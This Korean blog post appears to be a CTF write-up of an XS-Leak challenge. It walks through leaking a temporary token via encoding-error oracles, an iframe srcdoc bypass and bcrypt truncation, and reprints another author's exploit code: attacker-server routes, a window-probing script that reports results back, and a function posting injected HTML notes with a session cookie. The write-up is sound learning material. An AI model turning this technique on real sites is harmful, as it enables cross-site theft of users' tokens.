인코딩을 진행할때 위에서 본것과 같이 오류를 유발하면 "/" 경로로 리다이렉션 합니다, 즉 "/" 경로로 리다이렉션 하게 되면 iframe을 제거하게 됨으로, iframe이 존재할때는 .length 속성이 1, 오류가 발생하면 속성이 0으로 설정될 것 입니다.

 

이를 통해 True/False로 임시 토큰값을 유추 하도록 진행할 수 있습니다.

 

여기서 iframe src는 /js/views.js 파일의 값에 의해 정의됩니다, 이를 우회하고 원하는 src를 설정하기 위해서는 srcdoc이라는 속성을 사용해 우회를 진행할 수 있습니다.

 

위 문서와 같이 iframe은 srcdoc 속성이 정의되어 있으면 해당 속성을 먼저 사용하고, src 속성을 2순위로 사용합니다.

 

또한 bcrypt는 입력 값을 72바이트로 잘라내고 이후의 값을 무시하게 됩니다.

 

즉, 인코딩과 bcrypt를 적절하게 조합하면 아래와 같은 결과를 얻을 수 있습니다

1바이트 경우 == HTML Encoding -> HTML Encoding -> bcrypt (1바이트만 영향을 받음)
2바이트 경우 == HTML Encoding -> URL Encoding -> bcrypt (2바이트만 영향을 받음)
3바이트 경우 == HTML Encoding -> HEX Encoding -> bcrypt (3바이트만 영향을 받음)
4바이트 경우 == bcypt -> (4바이트에만 영향을 받음)

 

이와 같이 다양한 방법으로 정보를 해쉬화 하고, 오류가 발생하는지 확인할 수 있습니다.

 

아래는 10% 확률로 인코딩 오류를 유발하게 됩니다.

HEX Encoding -> Base32 Decoding -> HEX Decoding -> Base64 Decoding

 

이와 같이 값을 인코딩하고 오류를 유발하는지 확인하는작업을 반복적으로 진행하게 되면 XS-Leak을 통해 임시 토큰을 유출할 수 있게 됩니다, (이와 같은 인코딩 원리가 왜 인코딩 오류를 유발하는지는 암호학을 공부하지 않아서 자세하게 알 수는 없었습니다..)

 

전채적인 공격 시나리오는 아래와 같아야합니다.

공격 서버 포트포워딩 -> /i_want_flags 엔드포인트로 랜더링되는 파일 생성 (40초간 실행이 중단됨)

-> target 파라미터를 가져와 인코딩 오류를 유발하는지 여부를 확인하여 XS-Leak 진행
-> bot으로 해당 서버에 대한 요청을 진행
-> 임시토큰 유출
-> flag 획득

 

해당 문제의 Exploit을 진행하기 위해서는 포트포워딩된 공격자 서버가 존재해야합니다. (작성된 서버 로직을 분석해보면서 익스플로잇이 성공적으로 트리거되는지 확인해보겠습니다.) (해당 코드는 제가 작성한 것이 아닌 Jinseo Kim 님의 Exploit 코드임을 알립니다.)

 

i_want_flags.html 과 같은 파일을 작성해 아래와 같이 스크립트를 실행하도록 코드를 작성합니다.

<script>
    window.open("/phase1")
    window.open("/phase2")
    window.open("/phase3")
    window.open("/phase4")
</script>

 

각 엔드포인트별 동작하는 로직을 작성합니다.

@app.route('/i_want_flags', methods=['GET'])
def enter():
    global target
    target = request.args['target']

    return render_template('i_want_flags.html')

@app.route('/phase1', methods=['GET'])
def phase1():
    return render_template('run.html', urls=str(deploys('html_encode/html_encode/bcrypt/')), phase=1)

@app.route('/phase2', methods=['GET'])
def phase2():
    return render_template('run.html', urls=str(deploys('html_encode/URL_encode/bcrypt/')), phase=2)

@app.route('/phase3', methods=['GET'])
def phase3():
    return render_template('run.html', urls=str(deploys('html_encode/hex_encode/bcrypt/')), phase=3)

@app.route('/phase4', methods=['GET'])
def phase4():
    return render_template('run.html', urls=str(deploys('bcrypt/')), phase=4)

 

bot이 i_want_flags 엔드포인트에 접근하게 된다면 target 쿼리스트링을 가져오고 i_want_flags.html 파일을 랜더링하도록 코드를 작성합니다.

 

/phase 별로 run.html 파일을 랜더링 함과 동시에 url 템플릿 값에 deploys 함수의 결과를 값으로 설정합니다.

<!-- run.html !-->

<script>

function sleep(ms) {
  return new Promise((r) => setTimeout(r, ms));
}

(async function() {


urls = {{ urls | safe }}

ws = []
log = ""
for (url of urls) {
    w = window.open(url)
    if (w == null) location.href = "/nono"
    ws.push(w)
}

await sleep(15000);

for (i = 0; i < 56; i++) {
    log += ws[i].length + ""
    ws[i].close()
}
window.open('/result{{phase}}?' + log)

})();
</script>

 

run.html 코드를 확인해보면 deploys 실행결과를 url 템플릿 변수로 매핑합니다.

 

만약 해당 url을 열었을때 오류가 발생한다면 /nono라는 경로로 리다이렉션을 진행하고 요청이 올바르게 진행됬다면 ws에 해당 결과를 push 합니다.

 

15초간 코드 실행을 멈춘 후, log라는 값에 56번 i 값을 반복합니다, 그 후 ws 배열의 결과의 .length 속성에 접근하고 이를 기록합니다.

 

그 후 /result{{phase}}로 새로운 탭을 연 후, 쿼리스트링으로 log 값을 전달합니다.

 

본격적으로 deploys 함수를 자세히 확인해보겠습니다.

seqs = ['sha1/sha1/sha1', 'sha1/sha1/sha256', 'sha1/sha1/sha512', 
'sha1/sha1/md5', 'sha1/sha256/sha1', 'sha1/sha256/sha256', 'sha1/sha256/sha512', 
'sha1/sha256/md5', 'sha1/sha512/sha1', 'sha1/sha512/sha256', 'sha1/sha512/sha512', 
'sha1/sha512/md5', 'sha1/md5/sha1', 'sha1/md5/sha256', 'sha1/md5/sha512', 
'sha1/md5/md5', 'sha256/sha1/sha1', 'sha256/sha1/sha256', 'sha256/sha1/sha512', 
'sha256/sha1/md5', 'sha256/sha256/sha1', 'sha256/sha256/sha256', 
'sha256/sha256/sha512', 'sha256/sha256/md5', 'sha256/sha512/sha1', 
'sha256/sha512/sha256', 'sha256/sha512/sha512', 'sha256/sha512/md5', 
'sha256/md5/sha1', 'sha256/md5/sha256', 'sha256/md5/sha512', 'sha256/md5/md5', 
'sha512/sha1/sha1', 'sha512/sha1/sha256', 'sha512/sha1/sha512', 'sha512/sha1/md5', 
'sha512/sha256/sha1', 'sha512/sha256/sha256', 'sha512/sha256/sha512', 
'sha512/sha256/md5', 'sha512/sha512/sha1', 'sha512/sha512/sha256', 'sha512/sha512/sha512', 
'sha512/sha512/md5', 'sha512/md5/sha1', 'sha512/md5/sha256', 'sha512/md5/sha512', 
'sha512/md5/md5', 'md5/sha1/sha1', 'md5/sha1/sha256', 'md5/sha1/sha512', 
'md5/sha1/md5', 'md5/sha256/sha1', 'md5/sha256/sha256', 'md5/sha256/sha512', 'md5/sha256/md5']

suffix = "/hex_decode/base32_encode/hex_decode/base64_decode"

def deploy(url):
    r = requests.post('http://58.229.185.54:8000/', data={'note': f"""<iframe id="results-frame" srcdoc="<meta http-equiv=&quot;refresh&quot; content=&quot;0; url={url}&quot;>" src="x"></iframe><button id="submit-button"></button><script src="/js/view.js"></script>"""}, cookies={'connect.sid': 's%3AM1wl-3QhHCLG4OQ3OLP4zBS4-kYf7jis.GQzO0EfRH46d3ZGlrrk5zJyq1ANN8IO%2Ft4v01zoa5bg'})
    return r.url.replace('58.229.185.54', 'web') + 'render/'

def deploys(phase):
    rs = []
    for seq in seqs:
        rs.append(deploy(target + 'render/' + phase + seq + suffix))
    return rs

 

deploys는 phase를 파라미터로 받은 후 seqs 배열을 순회합니다, rs 배열에 deploy 함수를 실행한 결과를 담게되는데, 이때 요청 url은 target + "/render/ + phase + seq + suffix 입니다.

 

예를 들어 phase가 1이면 deploy에 설정되는 url은 아래와 같습니다.

target = http://ctf/view/asdsaijfijiej409393iadiasiarui/ (Example)

http://ctf/view/asdsaijfijiej409393iadiasiarui/render/1/sha1/sha1/sha1/hex_decode/base32_encode/hex_decode/base64decode

 

여기서 seq에 들어가는 값은 seqs 값을 모두 순회할 것 입니다, 이를 모두 순회해서 오류가 발생하는 결과값을 찾을 것 입니다.

 

해당 url을 인자로 받으면 아래와 같은 경로로 post 요청을 진행합니다, 여기서 note를 작성하는데, 아래와 같이 작성합니다.

<iframe id="results-frame" srcdoc="<meta http-equiv=&quot;refresh&quot; content=&quot;0; url=http://ctf/view/asdsaijfijiej409393iadiasiarui/render/1/sha1/sha1/sha1/hex_decode/base32_encode/hex_decode/base64decode&quot;>" src="x"></iframe><button id="submit-button"></button><script src="/js/view.js"></script>

 

note에 srcdoc을 사용하여 deploy의 url로 url 값을 설정하고, 해당 url로 refresh되게 설정하고 있습니다, 또한 내부에 submit-button과 /js/view.js를 추가로 만듭니다.

 

이렇게 요청한 url 결과의 요청 ip를 web으로 변경 후, render/ 를 추가하여 반환합니다.

 

반환된 요청 리스트는 run.html의 urls 값으로 사용되어 오류가 발생했는지 확인하게 되고, 이를 log로 기록할 것 입니다, 그 후 /result? + log로 log 결과 값을 응답합니다.

 

이와 같이 작성된 Exploit 코드는 pahas가 실행되고 log가 응답값으로 응답되게 되는데, 해당 log 값을 자체적으로 작성된 Decrypt 코드를 이용해 디코딩하면 임시 토큰을 얻을 수 있습니다.

 

해당 문제는 WEB 해킹의 지식뿐만 아니라 암호학적인 지식도 요구되는 문제 같습니다.

 

로그 값이 정확히 어떻게 디코딩되는지 분석할 수는 없지만 전체적인 플로우는 아래와 같을 것 같습니다.

-> XS-LEAK은 iframe의 인코딩 시퀸스의 오류 발생에 따라서 .length 값을 확인하는 것으로 진행할 수 있음.

-> i_want_flags로 내부 서버를 열어 요청을 진행하면 phase를 통해 1바이트씩 임시 토큰을 유출하기 위해 오류가 발생하는 암호학 코드를 작성함

-> iframe의 src는 view.js에 의해 덮어짐으로 srcdoc을 이용해 이를 우회함

-> iframe srcdoc을 사용해 해당 url을 방문하여 실제 인코딩 시퀸스에서 인코딩 오류가 발생하는지 기록

-> 브루트포싱을 통해 오류가 발생하는 암호화 방식과 그렇지 않은 암호화 방식을 확인하고 이를 디코딩하여 임시값을 복호화하여 알아냄

-> 해당 임시 token을 이용해 40초 이내로 flag 인증을 진행함

 

해당 문제는 암호학 공부를 진행한 후 더 자세하게 원리를 알아봐야할 것 같습니다.

반응형
LIST